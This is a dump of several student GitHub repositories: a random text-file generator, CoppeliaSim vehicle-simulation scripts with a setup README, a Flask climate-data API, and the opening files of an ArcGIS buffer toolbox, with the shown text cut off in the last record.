"text": "import random\nimport string\nimport sys\nimport re\nimport ast\nfrom math import fabs\n\n\ndef load(i, B):\n quantity = int(i/B*100) \n procent = '✡'*int(quantity/3)+'[]'*int((100-quantity)/3) \n sys.stdout.write('\\rProgress: {1} ◀ {0}% ▶ '.format(quantity, procent))\n sys.stdout.flush()\n\ndef generator(K,L,B,alphabet):\n lines = ''\n while lines.__sizeof__() <= B:\n nWords = random.randrange(K[0],K[1]) #кол-во слов в строке\n for tWord in range(nWords): # начинается взаимодействие со словом \n lwords = random.randrange(L[0],L[1]) #длина конкретного слова\n for word in range(lwords):\n word = (''.join(random.choice(alphabet) for changer in \n range(lwords))) # заполнение слова \n # случайными буквами \n lines = lines + word \n if lines.__sizeof__() <= B:\n lines = lines + ' '\n else:\n break\n \n lines = lines + '\\n'\n load(lines.__sizeof__() + 1, B)\n return lines\n\n\ndef main():\n K = (10,100)\n L = (3,10)\n alphabet = list(string.ascii_letters)\n if len(sys.argv) > 1:\n if len(sys.argv) == 3:\n try:\n fileName = sys.argv[1]\n if re.search(r'\\b.txt\\b', fileName):\n file = open(fileName, \"w\")\n try:\n MB = fabs(float(sys.argv[2]))\n B = 1048576 * MB\n print(fileName)\n \n except ValueError:\n print(\"Please, enter a float size of a file: \")\n sys.exit() \n\n except: \n print(\"You are not enter .txt file or you enter a space in the\",\n \"line command.\")\n print(\"Please, write file without space and with .txt format \")\n sys.exit()\n \n if len(sys.argv) == 4:\n try:\n fileName = sys.argv[1]\n if re.search(r'\\b.txt\\b', fileName):\n file = open(fileName, \"w\")\n try:\n MB = fabs(float(sys.argv[2]))\n B = 1048576 * MB\n print(fileName)\n try:\n K = ast.literal_eval(sys.argv[3]) \n if (K[0] < K[1] and type(K[0]) == int and\n type(K[1]) == int and K[0] >= 0 \n and K[1] >=1 ):\n K = K\n else:\n print(\"You make a mistake, because K isn't\",\n \"int type or K[0] is not <= K[1]\")\n sys.exit()\n \n except:\n print(\"Please, enter an int K with brackets: \")\n print(\"For example: (1,3)\")\n sys.quit()\n \n except ValueError:\n print(\"Please, enter a float size of a file: \")\n sys.quit() \n\n except: \n print(\"You are not enter .txt file or you enter\",\n \"a space in the line command.\")\n print(\"Please, write file without space and\",\n \" with .txt format \")\n sys.quit()\n \n \n if len(sys.argv) == 5:\n try:\n fileName = sys.argv[1]\n if re.search(r'\\b.txt\\b', fileName):\n file = open(fileName, \"w\")\n try:\n MB = fabs(float(sys.argv[2]))\n B = 1048576 * MB\n print(fileName)\n try:\n K = ast.literal_eval(sys.argv[3]) \n if (K[0] < K[1] and type(K[0]) == int and\n type(K[1]) == int and K[0] >= 0 \n and K[1] >=1 ):\n try:\n L = ast.literal_eval(sys.argv[4])\n if (L[0] < L[1] and type(L[0]) == int \n and type(L[1]) == int and L[1] >= 0\n and L[1] >= 0):\n L = L\n else:\n print(\"You make a mistake,\",\n \"because L isn't\",\n \"int type or L[0] is\",\n \" not <= L[1]\")\n sys.exit() \n except:\n print(\"Please, enter an int L \",\n \"with brackets:\")\n print(\"For example: (2,6)\")\n sys.exit()\n else:\n print(\"You make a mistake, because K isn't\",\n \"int type or K[0] is not <= K[1]\")\n sys.exit()\n \n except:\n print(\"Please, enter an int K with brackets: \")\n print(\"For example: (1,3)\")\n sys.exit()\n \n except ValueError:\n print(\"Please, enter a float size of a file: \")\n sys.exit() \n\n except: \n print(\"You are not enter .txt file or you enter\",\n \"a space in the line command.\")\n print(\"Please, write file without space and\",\n \" with .txt format \")\n sys.exit()\n \n\n \n else: \n fileName = input(\"Enter your name of a file: \")\n fileName = fileName.strip(' ')\n file = open((fileName + '.txt'), \"w\") \n try:\n MB = fabs(float(input(\"Enter a float size of a file in MB: \")))\n B = 1048576 * MB \n\n except ValueError:\n print(\"Please, enter a float size of a file: \")\n sys.exit()\n\n \n lines = generator(K,L,B,alphabet) \n file.write(lines)\n file.close()\n\nif __name__ == \"__main__\":\n main()\n"
}
] | 7 |
CPP-SAE-Supermileage/SAE-OLD | https://github.com/CPP-SAE-Supermileage/SAE-OLD | f4d470fae123e3681e1d4e3441f6b4a15b2c5a0b | 0d58c7fd2e1ccf4af0d3787fef7c966a5aa274ce | d6a8cdbbe49e76ec937e4d91cb7b4bda398c5d7b | refs/heads/master | 2022-11-23T19:07:31.659325 | 2020-07-13T10:17:34 | 2020-07-13T10:17:34 | 254,332,994 | 1 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.627477765083313,
"alphanum_fraction": 0.660287082195282,
"avg_line_length": 27.627450942993164,
"blob_id": "93e602edd6511ec7ba679ab384b5b662fb30fb86",
"content_id": "26af3f4b9fe74c3f60448f047afdb136fb8e86a3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1463,
"license_type": "no_license",
"max_line_length": 98,
"num_lines": 51,
"path": "/VisionSensorImage.py",
"repo_name": "CPP-SAE-Supermileage/SAE-OLD",
"src_encoding": "UTF-8",
"text": "import sys\n\nimport array\nimport matplotlib as mpl\n\nimport cv2\nimport sim\nimport time\nimport numpy as np\n\n#close open connections\nsim.simxFinish(-1)\n\n#start simulation\nclientID = sim.simxStart('127.0.0.1', 19999, True, True, 5000, 5)\nprint('Vision Sensor object handling')\nres, v1 = sim.simxGetObjectHandle(clientID, 'Vision_sensor', sim.simx_opmode_oneshot_wait)\nprint('Getting first image')\nerr, resolution, image = sim.simxGetVisionSensorImage(clientID, v1, 0, sim.simx_opmode_streaming)\n\n#execute following code if connection is found / terminate if not found\nwhile(sim.simxGetConnectionId(clientID) != -1):\n err, resolution, image = sim.simxGetVisionSensorImage(clientID, v1, 0, sim.simx_opmode_buffer)\n if err == sim.simx_return_ok:\n img = np.array(image, dtype=np.uint8)\n img.resize([resolution[1], resolution[0], 3])\n\n # image was originally upside down, turn it 180 degree\n img180 = cv2.flip(img, 0)\n\n #convert image from bgr -> rgb\n imgfinal = cv2.cvtColor(img180, cv2.COLOR_RGB2BGR)\n\n # show image\n cv2.imshow('image', imgfinal)\n\n # press 'q' to exit\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n elif err == sim.simx_return_novalue_flag:\n print('no image')\n pass\n else:\n #0 is good\n print(err)\n\nelse:\n print(\"Failed to connect to remote API Server\")\n sim.simxFinish(clientID)\n\ncv2.destroyAllWindows()\n\n\n\n"
},
{
"alpha_fraction": 0.7327425479888916,
"alphanum_fraction": 0.7495335936546326,
"avg_line_length": 30.52941131591797,
"blob_id": "a1ea31786837f482cc1c4edb815ba89bde0f7b01",
"content_id": "34ce785bfe43bd46bcb0640859b59e029188abbc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2144,
"license_type": "no_license",
"max_line_length": 113,
"num_lines": 68,
"path": "/test.py",
"repo_name": "CPP-SAE-Supermileage/SAE-OLD",
"src_encoding": "UTF-8",
"text": "import sys\n\nimport cv2\nimport sim\nimport time\nimport datetime\nimport numpy as np\nimport matplotlib as mpl\n\nprint('Program started')\n\nsim.simxFinish(-1) # just in case, close all opened connections 116\"\nclientID = sim.simxStart('127.0.0.1', 19999, True, True, 5000, 5) # Connect to CoppeliaSim\nif clientID != -1: # check if client connection successful\n print('Connected to remote API server')\n\nelse:\n print('Connection not successful')\n sys.exit('Could not connect')\n\nerrorCode, left_motor_handle = sim.simxGetObjectHandle(clientID, 'LeftMotor', sim.simx_opmode_oneshot_wait)\n\nif errorCode != sim.simx_return_ok:\n print('Error: ', errorCode)\n\nerrorCode, right_motor_handle = sim.simxGetObjectHandle(clientID, 'RightMotor', sim.simx_opmode_oneshot_wait)\n\nif errorCode != sim.simx_return_ok:\n print('Error: ', errorCode)\n \nerrorCode, car_collision_handle = sim.simxGetCollisionHandle(clientID, 'Collision', sim.simx_opmode_oneshot_wait)\n\nif errorCode != sim.simx_return_ok:\n print('Error: ', errorCode)\n\n\ntime.sleep(2)\nsim.simxAddStatusbarMessage(clientID, 'Connected and running', sim.simx_opmode_oneshot)\nvel = 10\nprint(\"Forward\")\nsim.simxSetJointTargetVelocity(clientID, left_motor_handle, -vel, sim.simx_opmode_streaming)\nsim.simxSetJointTargetVelocity(clientID, right_motor_handle, -vel, sim.simx_opmode_streaming)\n\n#12 second time frame to read if a collision occurred\nt = time.time()\nwhile time.time()-t < 12:\n returnCode, collisionState = sim.simxReadCollision(clientID, car_collision_handle, sim.simx_opmode_streaming)\n if(collisionState != 0):\n print(\"Collision occurred\")\n time.sleep(1)\n sys.exit()\n\n\nprint(collisionState)\nif(collisionState != 0):\n sys.exit(\"Collision occurred\")\n \nprint(\"Left\")\nsim.simxSetJointTargetVelocity(clientID, left_motor_handle, vel, sim.simx_opmode_streaming)\ntime.sleep(10)\nsim.simxSetJointTargetVelocity(clientID, left_motor_handle, 0, sim.simx_opmode_streaming)\nsim.simxSetJointTargetVelocity(clientID, right_motor_handle, 0, sim.simx_opmode_streaming)\nprint(\"Stop\")\n\nsim.simxGetPingTime(clientID)\n\nsim.simxFinish(clientID)\nprint('Program ended')\n"
},
{
"alpha_fraction": 0.7748440504074097,
"alphanum_fraction": 0.7835758924484253,
"avg_line_length": 65.80555725097656,
"blob_id": "3b8b448219f44f389d28d1aa3a54aedb214ec2e4",
"content_id": "c77d2e0a551fc2fec2ff2562c2a50c59eacdab43",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 4810,
"license_type": "no_license",
"max_line_length": 390,
"num_lines": 72,
"path": "/README.md",
"repo_name": "CPP-SAE-Supermileage/SAE-OLD",
"src_encoding": "UTF-8",
"text": "# SAE Autonomous Simulation\n\nThis guide will cover how to install and configure the simulation software using a 64-bit Windows 10 system as an example. You will be installing the following on your computer:\n+ Git\n+ Python\n+ CoppeliaSim Education Edition\n\n### 1. Install Git\nInstalling git will allow you to easily download the repository, which contains the Python scripts you need to run with the simulation. [Download and install Git from here.](https://git-scm.com/downloads) If you are new to Git and require tutorials for installing and using it, check out this [LinkedIn Learning course.](https://www.linkedin.com/learning/git-essential-training-the-basics/)\n\n#### 1.1: Clone the Repository\nOpen your Git terminal, and navigate to an empty directory of your choosing. Then, enter the following command to download the Github repository to your computer: \n`git clone https://github.com/maxwildersmith/SAE.git`\n#### 1.2: Delete Specific Files\nDelete the following files from your clone of the repository. \n+ `__pycache__` (delete the entire directory) \n+ `sim.py`\n+ `simConst.py`\n+ `remoteApi.dll`\n\nWe will replace these at a later stage with copies that reference your system's locally built Python libraries.\n### 2. Install Python\nFirst, check if you have Python installed already. To do so, open a command terminal of your choosing. Enter the \"python\" command like so. A response similar to this means Python is installed.\n\n\nIf the \"python\" command is not recognized, that means Python is not installed. [Download and install the correct Python version for your system here.](https://www.python.org/downloads/)\n\n#### IMPORTANT: You must install the correct Python version for your system. If you have a 64-bit operating system, make sure your download specifically includes \"64\" in the file name. Python installation files without \"64\" in the file name are for 32-bit systems. Your scripts built for the simulation software will crash if you try running them with an incorrect version installed.\n\nAfter installing Python, relaunch your command terminal and enter \"python\" again to verify installation.\n\n#### 2.1: Install Required Python Libraries\nTwo supplementary Python libraries are required: matplotlib and opencv-python. To download them, enter the following two commands into your terminal:\n`pip install matplotlib`\n`pip install opencv-python`\n\nYou will need to wait for them to finish downloading and installing.\n### 3. Install CoppeliaSim Education Edition\nThis is the simulation software we are using. [Download and install it from here. Choose the \"edu\" option.](https://www.coppeliarobotics.com/downloads) You may close the simulator after installing it.\n\n### 4. Copy Deleted Files\nNow we will copy the files we deleted in step 1.2 back into the directory of our local repository.\n\nFirst, navigate to the directory where CoppeliaSim was installed. On Windows 10, the default installation location is \n`C:\\Program Files\\CoppeliaRobotics`\n\n#### 4.1: `sim.py` and `simConst.py`\nFrom the `CoppeliaRobotics` directory, navigate to `CoppeliaRobotics\\CoppeliaSimEdu\\programming\\remoteApiBindings\\python\\python`\n\nCopy the `sim.py` and `simConst.py` files from this directory into your local repository's directory.\n\n#### 4.2: `remoteApi.dll`\nFrom the `CoppeliaRobotics` directory, navigate to `CoppeliaRobotics\\CoppeliaSimEdu\\programming\\remoteApiBindings\\lib\\lib`\n\nYou will choose the next directory to enter based on your operating system. If you are using Windows, enter the `Windows` directory. If you are on a Mac, enter the `MacOS` directory, etc.\n\nCopy the `remoteApi` file from the appropriate directory into your local repository's directory. Non-Windows operating systems will use file extensions different from `.dll`\n\n#### 4.3: `__pycache__`\nThis directory will be automatically remade as you run the Python scripts and does not need to be copied over.\n\n### 5. Verify Correct Setup\nFinally, we will verify everything was setup correctly by running the simulation software using a Python script.\n\n#### 5.1: Run CoppeliaSim \nIn your local repository there is a file called `scene.ttt`. Run this file and it will open up in CoppeliaSim. Click the play button shown in the image below to start the simulation. \n#### 5.2: Run Python Script\nOpen a command terminal and navigate to your local repository's directory. Execute the following command. Make sure the simulation is running (step 5.1) or your script will be unable to connect.\n\n`python main.py`\n\nYou should see a small frame that takes the perspective of the simulated vehicle and your terminal should be receiving feedback from the simulation. If these two things are happening, then you have successfully completed the setup.\n"
},
{
"alpha_fraction": 0.6663055419921875,
"alphanum_fraction": 0.6828277111053467,
"avg_line_length": 33.185184478759766,
"blob_id": "a6bd051fe6fa10e107f2a6de63a166c788b0285a",
"content_id": "6c60a25bcf51771a812b05e3cf03ed63e658638d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3692,
"license_type": "no_license",
"max_line_length": 117,
"num_lines": 108,
"path": "/main.py",
"repo_name": "CPP-SAE-Supermileage/SAE-OLD",
"src_encoding": "UTF-8",
"text": "import sys\n\nimport array\nimport matplotlib as mpl\n\nimport cv2\nimport sim\nimport time\nimport numpy as np\nimport threading\n\n#close all opened connections \nsim.simxFinish(-1)\n\n# establish connection\nclientID = sim.simxStart('127.0.0.1', 19999, True, True, 5000, 5)\n# check if client connection successful\nif clientID != -1:\n print('Connected to remote API server')\nelse:\n print('Connection not successful')\n sys.exit('Could not connect')\n\nprint('Vision Sensor object handling')\nres, v1 = sim.simxGetObjectHandle(clientID, 'Vision_sensor', sim.simx_opmode_oneshot_wait)\nprint('Getting first image')\nerr, resolution, image = sim.simxGetVisionSensorImage(clientID, v1, 0, sim.simx_opmode_streaming)\n\nerrorCode, left_motor_handle = sim.simxGetObjectHandle(clientID, 'LeftMotor', sim.simx_opmode_oneshot_wait)\nif errorCode != sim.simx_return_ok:\n print('Error: ', errorCode)\n\nerrorCode, right_motor_handle = sim.simxGetObjectHandle(clientID, 'RightMotor', sim.simx_opmode_oneshot_wait)\nif errorCode != sim.simx_return_ok:\n print('Error: ', errorCode)\n\ndef vision():\n while (sim.simxGetConnectionId(clientID) != -1):\n err, resolution, image = sim.simxGetVisionSensorImage(clientID, v1, 0, sim.simx_opmode_buffer)\n if err == sim.simx_return_ok:\n img = np.array(image, dtype=np.uint8)\n img.resize([resolution[1], resolution[0], 3])\n # image was originally upside down, turn it 180 degree\n img180 = cv2.flip(img, 0)\n\n #convert image from bgr -> rgb\n imgfinal = cv2.cvtColor(img180, cv2.COLOR_RGB2BGR)\n \n # show image\n cv2.imshow('image', imgfinal)\n \n # press 'q' to exit\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n elif err == sim.simx_return_novalue_flag:\n print('no image')\n pass\n else:\n print(err)\n else:\n print(\"Failed to connect to remote API Server\")\n sim.simxFinish(clientID)\n\ndef movement():\n sim.simxAddStatusbarMessage(clientID, 'Connected and running', sim.simx_opmode_oneshot)\n vel = 10\n print(\"Forward\")\n sim.simxSetJointTargetVelocity(clientID, left_motor_handle, -vel, sim.simx_opmode_streaming)\n sim.simxSetJointTargetVelocity(clientID, right_motor_handle, -vel, sim.simx_opmode_streaming)\n time.sleep(40)\n print(\"Left\")\n sim.simxSetJointTargetVelocity(clientID, left_motor_handle, vel, sim.simx_opmode_streaming)\n time.sleep(10)\n sim.simxSetJointTargetVelocity(clientID, left_motor_handle, 0, sim.simx_opmode_streaming)\n sim.simxSetJointTargetVelocity(clientID, right_motor_handle, 0, sim.simx_opmode_streaming)\n print(\"Stop\")\n\ndef collision():\n errorCode, car_collision_handle = sim.simxGetCollisionHandle(clientID, 'Collision', sim.simx_opmode_oneshot_wait)\n number_collisions = 0\n if errorCode != sim.simx_return_ok:\n print('Error: ', errorCode)\n while (sim.simxGetConnectionId(clientID) != -1):\n returnCode, collisionState = sim.simxReadCollision(clientID, car_collision_handle, sim.simx_opmode_streaming)\n if(collisionState != 0):\n number_collisions += 1\n print(\"Collision {0} occurred\".format(str(number_collisions)))\n #sys.exit()\n\n\n\nvision_thread = threading.Thread(target=vision)\nmovement_thread = threading.Thread(target=movement)\ncollision_thread = threading.Thread(target=collision)\n\n# start running threads\nmovement_thread.start()\nvision_thread.start()\ncollision_thread.start()\nmovement_thread.join()\n\n\nsim.simxGetPingTime(clientID)\n\nsim.simxFinish(clientID)\ncv2.destroyAllWindows()\n\nprint('Program ended')\n"
}
] | 4 |
tnatoli29/sqlalchemy-challenge- | https://github.com/tnatoli29/sqlalchemy-challenge- | a651b5e9fe2466f77dbd9238cb538bf6d1e2f755 | ad50cde6bb386ab8b904aeefa6611298ecd0dc07 | afb5ebc200b2c561a88fa1eae7d1772e6e91200c | refs/heads/main | 2022-12-28T11:00:43.934120 | 2020-10-10T13:58:04 | 2020-10-10T13:58:04 | 302,075,177 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6004689335823059,
"alphanum_fraction": 0.6060961484909058,
"avg_line_length": 25.33333396911621,
"blob_id": "dec8c5996508badb389fa218eab1bc055c5d6f8b",
"content_id": "659b740f3556a800ba624998423a8d38a92c36f0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4265,
"license_type": "no_license",
"max_line_length": 121,
"num_lines": 162,
"path": "/Climate app.py",
"repo_name": "tnatoli29/sqlalchemy-challenge-",
"src_encoding": "UTF-8",
"text": "#Import flask\nfrom flask import Flask, jsonify\n\n#Import other dependencies\nimport numpy as np\n\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\nimport datetime as dt\n###################################\n#Database Setup\n###################################\n\n#Set up engine\nengine = create_engine(\"sqlite:///Resources/hawaii.sqlite\")\n\n#Reflect the database\nBase = automap_base()\nBase.prepare(engine, reflect=True)\n\n#Save the tables\nmeasure = Base.classes.measurement\nstation = Base.classes.station\n\n###################################\n#Flask set up\n###################################\n\n#Create an app\napp = Flask(__name__)\n\n###################################\n#Flask Routes\n###################################\n\[email protected](\"/\")\ndef home():\n return(f\"Hello Welcome to my Climate App<br/>\"\n f\"Available routes are listed below<br/>\"\n f\"/api/v1.0/precipitation<br/>\"\n f\"/api/v1.0/stations<br/>\"\n f\"/api/v1.0/tobs<br/>\"\n f\"/api/v1.0/<start><br>\"\n f\"/api/v1.0/<start>/<end><br/>\")\n\[email protected](\"/api/v1.0/precipitation\")\ndef prcp():\n #Create a session\n session = Session(engine)\n\n #Query data for date and measure\n results = session.query(measure.date, measure.prcp).all()\n\n session.close()\n\n #Create a dictionary from the data we just pulled\n\n prcp_data = []\n for date, prcp in results:\n prcp_dict = {}\n prcp_dict[\"date\"] = date\n prcp_dict[\"prcp\"] = prcp\n prcp_data.append(prcp_dict)\n\n return jsonify(prcp_data)\n\[email protected](\"/api/v1.0/stations\")\ndef stations():\n #Create a session\n session = Session(engine)\n\n #Query data for date and measure\n results = session.query(station.station, station.name).all()\n\n session.close()\n\n stations = {}\n\n for stat, name in results:\n stations[stat] = name\n\n return jsonify(stations)\n\[email protected](\"/api/v1.0/tobs\")\ndef tobs():\n #Create a session\n session = Session(engine)\n\n #Find the last day in the data set\n last_day = session.query(measure.date).order_by(measure.date.desc()).first()\n\n # Get the data for one year ago\n last_year_day = (dt.datetime.strptime(last_day[0], '%Y-%m-%d') - dt.timedelta(days=365)).strftime('%Y-%m-%d')\n\n results= session.query(measure.date, measure.tobs).filter(measure.date >= last_year_day).order_by(measure.date).all()\n\n session.close()\n\n #Create empty list\n tobs_list = []\n\n #Create a dictionary from the data we just pulled\n for date, tobs in results:\n tobs_dict = {}\n tobs_dict[date] = tobs\n tobs_list.append(tobs_dict)\n\n return jsonify((tobs_list))\n\[email protected](\"/api/v1.0/<start>\")\ndef temp_range(start):\n #Create a session\n session = Session(engine)\n\n start_list = []\n\n #Query the data using the functions to get the mathematical values\n results = session.query(measure.date, func.min(measure.tobs), func.max(measure.tobs), func.avg(measure.tobs)).\\\n filter(measure.date >= start).group_by(measure.date).all()\n\n session.close()\n\n #Create a dictionary from the data we just pulled\n for date, min, max, avg in results:\n start_dict = {}\n start_dict[\"Date\"] = date\n start_dict[\"Min\"] = min\n start_dict[\"Max\"] = max\n start_dict[\"Avg\"] = avg\n start_list.append(start_dict)\n\n return jsonify(start_list)\n\[email protected](\"/api/v1.0/<start>/<end>\")\ndef temp_range_end(start,end):\n #Create a session\n session = Session(engine)\n\n start_list = []\n\n #Query the data using the functions to get the mathematical values\n results = session.query(measure.date, func.min(measure.tobs), func.max(measure.tobs), func.avg(measure.tobs)).\\\n filter(measure.date >= start, measure.date <= end).group_by(measure.date).all()\n\n session.close()\n\n #Create a dictionary from the data we just pulled\n for date, min, max, avg in results:\n start_dict = {}\n start_dict[\"Date\"] = date\n start_dict[\"Min\"] = min\n start_dict[\"Max\"] = max\n start_dict[\"Avg\"] = avg\n start_list.append(start_dict)\n\n return jsonify(start_list)\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)"
},
{
"alpha_fraction": 0.8035714030265808,
"alphanum_fraction": 0.8035714030265808,
"avg_line_length": 17.66666603088379,
"blob_id": "aee57d060f5c52618ad29682f02df8e9b7e1e7ef",
"content_id": "9f58e97c3896f48eb4d34d6a003c28895e9fd1ef",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 56,
"license_type": "no_license",
"max_line_length": 30,
"num_lines": 3,
"path": "/README.md",
"repo_name": "tnatoli29/sqlalchemy-challenge-",
"src_encoding": "UTF-8",
"text": "# sqlalchemy-challenge-\n\nWelcome to my Climate Analysis\n"
}
] | 2 |
trejimmy5562/arcGISBufferToolbox | https://github.com/trejimmy5562/arcGISBufferToolbox | 406b43912378382941195298b90fd89edf607a4e | 4ad6f6143b10e00fe1b3a865a9e6a421112044ac | 6f310ebdc9e9bce99eaa6bbf26d176ae11d750f8 | refs/heads/master | 2023-05-12T03:21:39.350951 | 2023-04-27T00:24:39 | 2023-04-27T00:24:39 | 217,969,343 | 1 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.7129337787628174,
"alphanum_fraction": 0.8197039365768433,
"avg_line_length": 24.128047943115234,
"blob_id": "728298b38ee9e7b92b293c9d0279d56f8c9738a7",
"content_id": "10e2a2828501c48b6118027dd736efcdb26f421b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "INI",
"length_bytes": 4121,
"license_type": "no_license",
"max_line_length": 31,
"num_lines": 164,
"path": "/toolbox/schema.ini",
"repo_name": "trejimmy5562/arcGISBufferToolbox",
"src_encoding": "UTF-8",
"text": "[building_SSG_buffed_12.csv]\nFormat=CSVDelimited\nColNameHeader=True\nCol1=OID Long\nCol2=FID_GaragePoints Long\nCol3=CIT_CODE Text Width 50\nCol4=FAC_CODE Text Width 254\nCol5=LotName Text Width 254\nCol6=AggieMap Short\nCol7=Name Text Width 50\nCol8=LotType Text Width 50\nCol9=ORIG_FID Long\nCol10=BUFF_DIST Double\nCol11=FID_Structures Long\nCol12=Number Text Width 10\nCol13=Abbrev Text Width 10\nCol14=Private Text Width 50\nCol15=Type Text Width 50\nCol16=Bldg Text Width 4\nCol17=BldgAbbr Text Width 6\nCol18=BldgName Text Width 50\nCol19=YearBuilt Text Width 4\nCol20=NumFloors Text Width 2\nCol21=Address Text Width 255\nCol22=City Text Width 30\nCol23=Zip Text Width 5\nCol24=MapDisplay Text Width 255\nCol25=Shape_Length Double\nCol26=Shape_Area Double\n[building_SSG.csv]\nFormat=CSVDelimited\nColNameHeader=True\nCol1=OID Long\nCol2=FID_GaragePoints Long\nCol3=CIT_CODE Text Width 50\nCol4=FAC_CODE Text Width 254\nCol5=LotName Text Width 254\nCol6=AggieMap Short\nCol7=Name Text Width 50\nCol8=LotType Text Width 50\nCol9=ORIG_FID Long\nCol10=BUFF_DIST Double\nCol11=FID_Structures Long\nCol12=Number Text Width 10\nCol13=Abbrev Text Width 10\nCol14=Private Text Width 50\nCol15=Type Text Width 50\nCol16=Bldg Text Width 4\nCol17=BldgAbbr Text Width 6\nCol18=BldgName Text Width 50\nCol19=YearBuilt Text Width 4\nCol20=NumFloors Text Width 2\nCol21=Address Text Width 255\nCol22=City Text Width 30\nCol23=Zip Text Width 5\nCol24=MapDisplay Text Width 255\nCol25=Shape_Length Double\nCol26=Shape_Area Double\n[clip_SSG.csv]\nFormat=CSVDelimited\nColNameHeader=True\nCol1=OID Long\nCol2=FID_GaragePoints Long\nCol3=CIT_CODE Text Width 50\nCol4=FAC_CODE Text Width 254\nCol5=LotName Text Width 254\nCol6=AggieMap Short\nCol7=Name Text Width 50\nCol8=LotType Text Width 50\nCol9=ORIG_FID Long\nCol10=BUFF_DIST Double\nCol11=FID_Structures Long\nCol12=Number Text Width 10\nCol13=Abbrev Text Width 10\nCol14=Private Text Width 50\nCol15=Type Text Width 50\nCol16=Bldg Text Width 4\nCol17=BldgAbbr Text Width 6\nCol18=BldgName Text Width 50\nCol19=YearBuilt Text Width 4\nCol20=NumFloors Text Width 2\nCol21=Address Text Width 255\nCol22=City Text Width 30\nCol23=Zip Text Width 5\nCol24=MapDisplay Text Width 255\nCol25=Shape_Length Double\nCol26=Shape_Area Double\n[building_CCG_buffed_10.csv]\nFormat=CSVDelimited\nColNameHeader=True\nCol1=OID Long\nCol2=FID_GaragePoints Long\nCol3=CIT_CODE Text Width 50\nCol4=FAC_CODE Text Width 254\nCol5=LotName Text Width 254\nCol6=AggieMap Short\nCol7=Name Text Width 50\nCol8=LotType Text Width 50\nCol9=ORIG_FID Long\nCol10=BUFF_DIST Double\nCol11=FID_Structures Long\nCol12=Number Text Width 10\nCol13=Abbrev Text Width 10\nCol14=Private Text Width 50\nCol15=Type Text Width 50\nCol16=Bldg Text Width 4\nCol17=BldgAbbr Text Width 6\nCol18=BldgName Text Width 50\nCol19=YearBuilt Text Width 4\nCol20=NumFloors Text Width 2\nCol21=Address Text Width 255\nCol22=City Text Width 30\nCol23=Zip Text Width 5\nCol24=MapDisplay Text Width 255\nCol25=Shape_Length Double\nCol26=Shape_Area Double\n[clip_CCG.csv]\nFormat=CSVDelimited\nColNameHeader=True\nCol1=OID Long\nCol2=FID_GaragePoints Long\nCol3=CIT_CODE Text Width 50\nCol4=FAC_CODE Text Width 254\nCol5=LotName Text Width 254\nCol6=AggieMap Short\nCol7=Name Text Width 50\nCol8=LotType Text Width 50\nCol9=ORIG_FID Long\nCol10=BUFF_DIST Double\nCol11=FID_Structures Long\nCol12=Number Text Width 10\nCol13=Abbrev Text Width 10\nCol14=Private Text Width 50\nCol15=Type Text Width 50\nCol16=Bldg Text Width 4\nCol17=BldgAbbr Text Width 6\nCol18=BldgName Text Width 50\nCol19=YearBuilt Text Width 4\nCol20=NumFloors Text Width 2\nCol21=Address Text Width 255\nCol22=City Text Width 30\nCol23=Zip Text Width 5\nCol24=MapDisplay Text Width 255\nCol25=Shape_Length Double\nCol26=Shape_Area Double\n[intersection.csv]\nFormat=CSVDelimited\nColNameHeader=True\nCol1=OID Long\nCol2=Number Text Width 10\nCol3=Abbrev Text Width 10\nCol4=Private Text Width 50\nCol5=Type Text Width 50\nCol6=Bldg Text Width 4\nCol7=BldgAbbr Text Width 6\nCol8=BldgName Text Width 50\nCol9=YearBuilt Text Width 4\nCol10=NumFloors Text Width 2\nCol11=Address Text Width 255\nCol12=City Text Width 30\nCol13=Zip Text Width 5\nCol14=MapDisplay Text Width 255\nCol15=Shape_Length Double\nCol16=Shape_Area Double\n"
},
{
"alpha_fraction": 0.806506872177124,
"alphanum_fraction": 0.806506872177124,
"avg_line_length": 82.28571319580078,
"blob_id": "d43f87462ea58dae1b65b3a0f94cc818299c710d",
"content_id": "7d494d60f30634cface293e8c59c9ac5b514d085",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 584,
"license_type": "no_license",
"max_line_length": 444,
"num_lines": 7,
"path": "/README.md",
"repo_name": "trejimmy5562/arcGISBufferToolbox",
"src_encoding": "UTF-8",
"text": "# arcGISBufferToolbox\nThis was a project for my GIS Programming class to create an easy buffer tool concerning a provided database and csv file. It outputs a geodatabase containting all the necessary layers as well as a clipped and buffered layer of the building selected from the garages csv file. The primary function of this tool is selecting buildings within a certain range of a point of interest or building, using the buffer and clip functions amongst others.\n\n\n\n\n\n\n"
},
{
"alpha_fraction": 0.5791704654693604,
"alphanum_fraction": 0.5926430225372314,
"avg_line_length": 37.811763763427734,
"blob_id": "f039c74f9f3a125cac945dda6eace723e12a236a",
"content_id": "284d117488bac537ebc360e1f66dfbbe987a43c6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6606,
"license_type": "no_license",
"max_line_length": 112,
"num_lines": 170,
"path": "/toolbox/lab5.pyt",
"repo_name": "trejimmy5562/arcGISBufferToolbox",
"src_encoding": "UTF-8",
